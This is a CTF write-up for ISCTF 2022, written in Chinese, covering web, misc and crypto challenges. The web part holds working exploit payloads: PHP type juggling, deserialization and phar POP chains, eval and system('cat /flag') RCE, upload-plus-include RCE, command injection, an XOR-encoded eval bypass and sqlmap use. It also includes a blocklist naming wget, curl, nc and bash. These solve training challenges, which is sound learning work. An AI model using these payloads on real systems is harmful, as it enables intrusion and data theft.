2022ISCTF

全部Web题解,部分misc

Web

EASY-PHP01

签到

弱类型绕过

114514a

Fake-web

打开就是蓝鲨信息的主页

用curl得到flag

image-20221027120518167

EASY-PHP02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
echo $YOUR_NAME.",请开始你的答题。"."<br>";
}
else{
echo "做题前请告诉我你是小蓝鲨吗?";
exit();
}
if (is_numeric($POST1)){
if ($_GET["P0ST1"] != $_GET["P0ST2"]){

if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){

$f1=$flag1;
echo "小蓝鲨成功一半".$f1;
}
}
}

if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
if( $GET1 == 0 ){
echo "<br>"."前面的出来了吗?";
if(is_numeric($GET2)){
exit();
}
if($GET2 > 678){
echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>";
$Ag=base64_encode($flag2);
}
}
}
$flag666 = $f1.$Ag;
echo $flag666;
?>

payload:

1
2
?NAME=996&P0ST1=0&P0ST2=240610708
GET1= 0&GET2=679a

结果前半flag为十六进制,后半部分为base64->unicode

猫和老鼠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);

class mouse
{
public $v;

public function __toString()
{
echo "Good. You caught the mouse:";
include($this->v);

}

}


class cat
{
public $a;
public $b;
public $c;


public function __destruct(){
$this->dog();
$this->b = $this->c;
die($this->a);
}
public function dog()
{
$this->a = "I'm a vicious dog, Kitty";
}
}

unserialize($_GET["cat"]);

?>

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class mouse
{
public $v="php://filter/read=convert.base64-encode/resource=flag.php";

// public function __toString()
// {
// echo "Good. You caught the mouse:";
// include($this->v);

// }

}


class cat
{
public $a;
public $b;
public $c;


// public function __destruct(){
// $this->dog();
// $this->b = $this->c;
// // $this->a=new mouse;
// die($this->a);
// }
// public function dog()
// {
// $this->a = "I'm a vicious dog, Kitty";
// }
}

$gg=new cat;
$mm=new mouse;
$gg->a=$mm;
$gg->b=&$gg->a;
$gg->c=new mouse;
echo serialize($gg);
?>

通过引用使$b与$a指向同一地址,a在dog函数被改变,在b赋值时再次使其变为mouse的对象。

1
?cat=O:3:%22cat%22:3:{s:1:%22a%22;O:5:%22mouse%22:1:{s:1:%22v%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}s:1:%22b%22;R:2;s:1:%22c%22;O:5:%22mouse%22:1:{s:1:%22v%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}}

image-20221027214949558

simplephp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);



$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}

if(preg_match($pattern,$str,$arr))
{
echo "good try!";
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
echo "come on!!!";
if($num=='36'&isset($_GET['cmd'])){

eval($_GET['cmd']);



}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}




}

payload:

1
?str=%23%5c%5c%5c%5c%2fIlikeisctf%23&num=%0c36&cmd=system('cat /flag');

image-20221028185245548

easy_upload

扫描发现源码泄露www.rar

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
if (preg_match("/flag|\.\.|\/\//i", $file)) {
echo "no hack";
exit();
}
include $file;
}else{
include("upload.php");
}
?>

那就简单了,上传ha.jpg,文件包含rce(过滤了POST)

image-20221028185333599

1
/index.php?file=./uplO4d/ha.jpg&1=system('cat /flag');

image-20221028185350454

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);
// 允许上传的图片后缀
if( !isset($_FILES["file"])){
die();
}

$allowedExts = array("jpg");
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
$extension = end($temp); // 获取文件后缀名

if ((($_FILES["file"]["type"] == "image/jpeg"))
&& ($_FILES["file"]["size"] < 15360) // 小于 15 kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}elseif(mb_strpos(file_get_contents($_FILES["file"]["tmp_name"]), "POST") !== FALSE)
{
echo "NO! HACKER!";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";

// 判断当前目录下的 upload 目录是否存在该文件
if (file_exists("uplO4d/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "uplO4d/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "uplO4d/" . $_FILES["file"]["name"];
}
}
}
else
{
echo "非法的文件格式";
}
?>

eazy-onlineshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import flask
import subprocess

app = flask.Flask(__name__)


@app.route("/")
def hello_world():
return "Try to access the /rce"


@app.route("/www.zip")
def return_SourceCode():
with open("./app.py", "r") as f:
return f.read()


@app.route("/rce", methods=['GET', 'POST'])
def action_rce():
if flask.request.method == "GET":
return "Why not try to search the backup"
elif flask.request.method == "POST":
action = flask.request.form["act"]
with open("/app/temp.sh", "w") as f:
f.write(action[1:-1])
res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE)
# print(res)
return "success"


if __name__ == '__main__':
app.run(debug=True)

反弹shell不知道为啥没反弹上,利用app.py即可

猜测路径为/app/app.py

使用>>将命令结果追加到文件后面

payload:

1
act=gcat flag>> /app/app.pyg

image-20221028201737135

接着访问www.zip

在文件末尾得到flag

image-20221028201815653

crazy-onlineshell

比上题加了黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import flask
import subprocess

app = flask.Flask(__name__)


@app.route("/")
def hello_world():
return "Try to access the /rce"


@app.route("/www.zip")
def return_SourceCode():
with open("./app.py", "r") as f:
return f.read()


@app.route("/rce", methods=['GET', 'POST'])
def action_rce():
if flask.request.method == "GET":
return "Why not try to search the backup"
elif flask.request.method == "POST":
action = flask.request.form["act"]
for ban_words in ["wget", "curl", "nc", "httpie", "bash", "base64", "http", "dnslog"]:
if action.find(ban_words) != -1:
return "success"
with open("/app/temp.sh", "w") as f:
f.write(action[1:-1])
res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE)
# print(res)
return "success"


if __name__ == '__main__':
app.run(debug=True)

同上题一样解法, 直接秒

image-20221030152340684

curl

image-20221030104025439

源码:

1
2
3
4
5
6
if(isset($_GET['urls'])){
$urls = $_GET['urls'];
$url_host = parse_url($urls,PHP_URL_HOST);
//Do something~~~~
curl_get($urls);
}

127.0.0.1都不需要绕过

payload:

1
?urls=127.0.0.1/flag.php

image-20221030104146077

rce?

源码:

1
2
3
4
5
6
7
8
9
 <?php
highlight_file(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
$code = $_GET['shell'];
var_dump(eval($code));
}else{

echo "你能拿到flag吗?";
}

PHP8环境

异或绕过

1
2
?shell=(("%08%02%08%08%05%0d")^("%7b%7b%7b%7c%60%60"))
(("%03%01%08%00%00%06%0c%01%07")^("%60%60%7c%20%2f%60%60%60%60"));

用或也可以,但是取反失败了(不知道为什么

upload

给了源码附件,第五空间原题

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class upload{
public $filename="/flag";

public function __wakeup(){
echo file_get_contents($this->filename);
}
}

$c = new upload();
// $c->params['source'] = "/var/www/html/f1ag.php";//目标文件
// $a->str = $b; //触发__tostring
// $b->str['str'] = $c; //触发__get;


$phar = new Phar("e.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();

?>


修改后缀等信息

image-20221030141928680

phar反序列化

1
index.php?img_name=phar://upload/gg.jpg

image-20221030141950138

傻柱

sqlmap跑

1
python2 ./sqlmap.py -r shazhu.txt --dbs -batch --level=3 --random-agent

image-20221031150200488

flag藏在user_agents表的user_agent字段

image-20221031152030375

easy_upload1(零解下线)

黑名单过滤了(没用strtolower)

1
.php .pht .phtml .php2 .html .htm .php3 .php4 .php5 .htaccess

上传后重命名是用md5加密的32位小写字符串

没给其他信息,猜测后台逻辑为,先上传文件,然后再判断后缀,再删除,需要条件竞争(尝试了一下,失败。

MISC

可爱的emoji

掩码爆破key得到压缩包密码

1
KEYISAES

很容易想到emoji-aes

emoji-aes (aghorler.github.io)

key为AES,rotation为9

image-20221027215356890

两层编码

第一层是sha256,套用国赛脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib
import itertools
from string import digits, ascii_letters, punctuation
alpha_bet=digits+ascii_letters+punctuation
strlist = itertools.product(alpha_bet, repeat=4)


tail = '5CNX82ujhEqhk8Rp'#XXXX后的明文
sh256 = '371d61d88ff274d70cd1201faa6a353cee89ec01b4584da5424c604a2ad4238c'#加密后的结果
xxxx=''

for i in strlist:
data=i[0]+i[1]+i[2]+i[3]
data_sha=hashlib.sha256((data+str(tail)).encode('utf-8')).hexdigest()
if(data_sha==sh256):
xxxx=data
break

print(xxxx)

但是输入结果后,还需要在五秒内找到key

1
2
U ha^4 f1v4 s4c0nds to s0lve the pr0bl4m!
dmVHWk8yZ2o3aXl6YXJpQ2tsRDZXUVVUcFdkOHhGTXlwb0U0c0tUVVJwa0dzYkZFbUw3RmVHcWt0enVVNER0U1J6d2ZoaGNsbVJWQmpDbGRqc0FKM2hjYlQzdVhxNGMwN3pzZ2hocjVydEgxdGxHdGtwc09FUnppMmxkaDhyN3NhbnVoZndEMUZxbmRUZVVIenVsNjByblR5T3Y5NWxQV1JWRG5aSVlSY2tyeU9xeHBSbDhrREltNmczZFA2a3FvcjJidHJraEV2TXkxbXFVcHZkVkt4WFp4VGp5V3FKU0pQYmFiRVRIZXlOdzBnSzZ1cndoZnhUSXpNUnRBY2NHdHA1UGtqOUZodjZhc1JiSnV4NkdVcEVmdmJjeFpKUjZ1dlBUMEp3NWNmYTFDRjN2YkRBU0NrOHI0VGc3TUN1Zzd4UHFvQ1pENUQwSE96RWlxQWlZYTZ4ODRKbTlFejBScnhoWG5oMWRLdkJEMXd1bU1jVHEyVmdMTHpTM3pDWlFDRVhTZDdlRWxra29HRlJzOHpvdjVxdmlJeE1OVTFHZVhUZTRNaWJtRkFrM0hOSFB3ZzByYmxNOVM2b29pUmFQbTgyVUd0UW5DUHVYUU9wT0xCQzZ0RzJrVlZhVlRQUVRXU0RJeTlWbWI1Yk96MGJ1M2NyQ2ZOV1RKaUNpNDRPUXN2Wmo3QndWUXY4c2c4bWx6eHhyUnhFeFU3aWZWd0o2UGt4allJeFozS3htMmFVaGgyV3BYczgwa3cwbVk5OG5OZUhuZGgwSG5zS3RVU01BRFV4TURsUlFxUlRidEZ0eFVDMEtTZkwycmdBNGM3SEE0Z1h6M2oxcHl6T0FSdDJHUTF3RG1WaVg1bjYwb2U0OEEzWXVMYzJ2NHNUOVBhaU1JQVFpdGp0R09mQ2hSWmJ6UFVJeFJCd3FhRmNtcVBZU1ZISk9xS1RORVhnUEg0YWFjYUYwUDE2cGxrQlJoOTZoMzA4UnlzTzcwTEhRNUU2bVVmQ2cwYTEwTU9RNGxDczlEcURZSEY3ZWJMTzhydVNxWlNiNXV0b1JxZUNHdGtRWktzM1lIaWNCd3JoQk1lTmtWSHdkZDhLMXJTTENET1RQSjlzNW90M0RvTWRSM3hUMzl5SExYRlhldEIxclp4WGNOS21tbjJ1RU5EMVlqaDZnTmlBT01PdFVsUVhNT1lpMDlqd2Zzc2FMY1MzNWNxWEdmeENxdmttQ1RQb29yWTBBMmR5ckw5QXBlQm9McXhQQ3RVSjlLaEMxd1hmN25TenFqTDFFdGRwcUd1MjBCOFlZVzRUcmpFNzBIQkthVmtSY2ZyZjM3Z0RwaWtleXswZGY2NmMxOS04MGQ0LTQyZWEtODVkMS1kMzA3OTczMjk4OWZ9Vkk2SDdCMGtvOUVFRzE2elFtUFF6V3hZT1R2ekhjdzhmNDI5c2RGbmE1elZ4b284SklreU1qQU03NjR4WUFiSE9WQ3lWZ2l2aWxKbFd6VEZaTUhVTllCYXRUcEtkZUdTYWFEVGFPRmdkWFVabmVjWTlvUjA0SlR0VlNNNkoxdHVUcHVWRWpSZVlMQjlFeGJ1cGdWNTZSbXlLMERRU0pLMk11bkhCbk53QXVJMUpUNUlDU1FhMlhlMHN1Y1U4cG9Cb1FRdG93U0lFOUNvN1c4QmVTR1FoNWdKTDU3YXZtWVhoamlLclJjeW53VjZYcUg0TElMaXRWOU5sOFhsU2RKWjZvTEJ4b2lFTTMzV3UzYVNWN2lZMXp2N0p5RGhMUjRMUUpReERKZlBrS0hCWGJ2dHJMMEFNS1NQOWVzdno4NDNVT2oweXY4S09ESVFwVVdUeXhMaDMzQ29LVElyVlV3bzh6Z2lRWHk1emRBaUlUSTFZRGs2ZG1qVGpYM1NHYzFhZ2ZhdWpBaExBWWY5Ymg1Y09tT1hMQUJwYVprT25sTGhlYVBRSE8xUVI1azdLSHJNdjNSM0E5UUhmUFMyVXVSV1dHNXFzZWlSMjVEbEtFR09TMXNNTDUzbk4wR0JiTjJHNDZrclJabjVFVko5alVVTjh1c0l0aVdXcjNMbjM4MjF0eTl6TzBwTEhmZUZ5RXlMYzZBTDZBMmdNMjRqM25Qa0ZSZ3V5dFV6b0ZVQmpLT3JhUkVtWjU3aTF0UWNDZ0JTaFVPeGxJeWd4bnJwUjM0TWhlRWpxeFM3SDRNbWw4bXdab21rN05SYzVPSng2QXJXYzNzU1JwSXVDbUJrMjl6cERTNGZpQzVvc3RibG9aVkcxMWpZVjFMeGdEMjRWZFAwS3NsaWU4Y2w5WmFLTWJXekhjOGpaSlFxdzFGWWc5VFRrS3dZeEw3N2IzdnFHeE5XRm43SlpMdTFMMEE1T0NJTkwycHI2dzF0aXBnMGdSZ2ozMTNCYXNncllsbUU4ckY1bFdXQnRVOWg3OVA3NjIyOEhOQXNuVVJZdXIzTGgyYUZVTWFGOHI1MjFJQzJ6aXpWelZhREloMHNhcTBqeTFVMnJpMlB2b3dDWWtIYzhyTXdXR0hHMk9WUmVFOVFrTjdycEd4czlZYkdiSXhFNEhDS3lXV2p6dE92cFVFYzlNUlBvRGdtaTliVGZqVVE4djBNZDZEZkpQRERjR2lkcjZNeGtVd1h4ZXlMR1hydTZlYklsWUZ5YlBPN3YwRU1wTnVYa0xyQ0R4YUNnSGtZajRSZW9UUkF0b2FIeWVVMXA3VncxcTVDbDZIZg==

base64解码后再找key,手打时间肯定来不及,后来给hint了,要用pwntools

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import hashlib
import itertools
from string import digits, ascii_letters, punctuation

def first(tail,sh256):
alpha_bet=digits+ascii_letters+punctuation
strlist = itertools.product(alpha_bet, repeat=4)
# tail = '5CNX82ujhEqhk8Rp'#XXXX后的明文
# sh256 = '371d61d88ff274d70cd1201faa6a353cee89ec01b4584da5424c604a2ad4238c'#加密后的结果
xxxx=''
for i in strlist:
data=i[0]+i[1]+i[2]+i[3]
data_sha=hashlib.sha256((data+str(tail)).encode('utf-8')).hexdigest()
if(data_sha==sh256):
xxxx=data
break
return xxxx

if __name__ == '__main__':
r=remote("120.79.18.34",20027)
s1=str(r.recv())
print(s1)
reg1=re.findall("X\+(.+?)\)",s1)[0]
s1=s1.replace("== ","start")
s1=s1.replace("\\n","end")
reg2=re.findall("start(.*)end",s1)[0]
r.recv()
print(reg1)
print(reg2)
req1=first(reg1,reg2)
print(req1)
r.sendline(req1)
r.recv()
s2=str(r.recv()+r.recv())
s2 = s2.replace("\\ncan", "end")
print(s2)
# s2 = s2.replace("pr0bl4m!\n", "start")
# s2 = s2.replace("\ncan", "end")
# reg3 = re.findall("start(.*)end", s2)[0]
#s3 = str(base64.b64decode(reg3))

s3=re.findall("\'(.*)end",s2)[0]
s3=str(base64.b64decode(s3))
reg4 = re.findall("key.*}", s3)[0]
print(reg4)
r.sendline(reg4)
flag=r.interactive()
print(flag)

image-20221028184747201

我的Minecraft去哪了

正版UUID查询

f00001111 | Minecraft Profile | NameMC

Minecraft UUID / Username Converter (mcuuid.net)

得到的结果均为

1
8d3b40f7623742659d7c98695bd00446

盗版UUID查询

UUID查詢 (hkcdc.org)

image-20221028184519652

结果为

1
8d50700a17d132028f1012284b280ffc

结果

1
8d50700a17d132028f1012284b280ffc8d3b40f7623742659d7c98695bd00446

md5加密得到flag

1
ISCTF{38884c1ef16e6cba90bb67983512159d}

下面这些部分记得很简略,没时间复现。

一个misc手会不懂web吗

sql注入流量,可逐个提取出ascii码,解码就行。

简单社工

台湾巨蛋站

Docker网络测试

udp.stream eq 25(仔细看是有ISCTF字样的

酱紫乱

脚本先提出所有文字整合,再base64解码,再字频分析得到flag。

捕风的魔女

前半段为魔女之旅文字解密,后半段为提瓦特大陆文字,对照解密即可。

小蓝鲨藏哪了呢

压缩包套娃,用脚本解压,最后得到一个照片

zsteg -a一把梭

image-20221031180451998

放松一下

放松一下\.minecraft\logs\latest.log

日志里面有flag的base64

image-20221101163710095

1
2
SVNDVEZ7V2VsY29tZV9UT19JU0NURjIwMjJfRU5KT1lfeW91cnNlbGZ9
ISCTF{Welcome_TO_ISCTF2022_ENJOY_yourself}

老色批了奥

lsb隐写,提取出文件后,使用脚本逆置文件十六进制,得到一个压缩包,解压即得flag。

Crypto

没时间复习RSA,所以只写了一题

呜呜呜我的md5脏了

栅栏fence解码:
因数[5]:
分为5栏时,解密结果为:ISCTF{md5_is_11??1??8???}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def md5hs(i):
m = hashlib.md5()
m.update(i.encode())
if(m.hexdigest() == '88875458bdd87af5dd2e3c750e534741'):
print(i)
return True
return False

s = r'ISCTF{md5_is_11??1??8???}'
while True:
for a in range(10,100):
for b in range(10,100):
for c in range(100,1000):
re="ISCTF{md5_is_11"+str(a)+"1"+str(b)+"8"+str(c)+"}"
if md5hs(re)==True:
print(re)
exit(0)

image-20221028122851313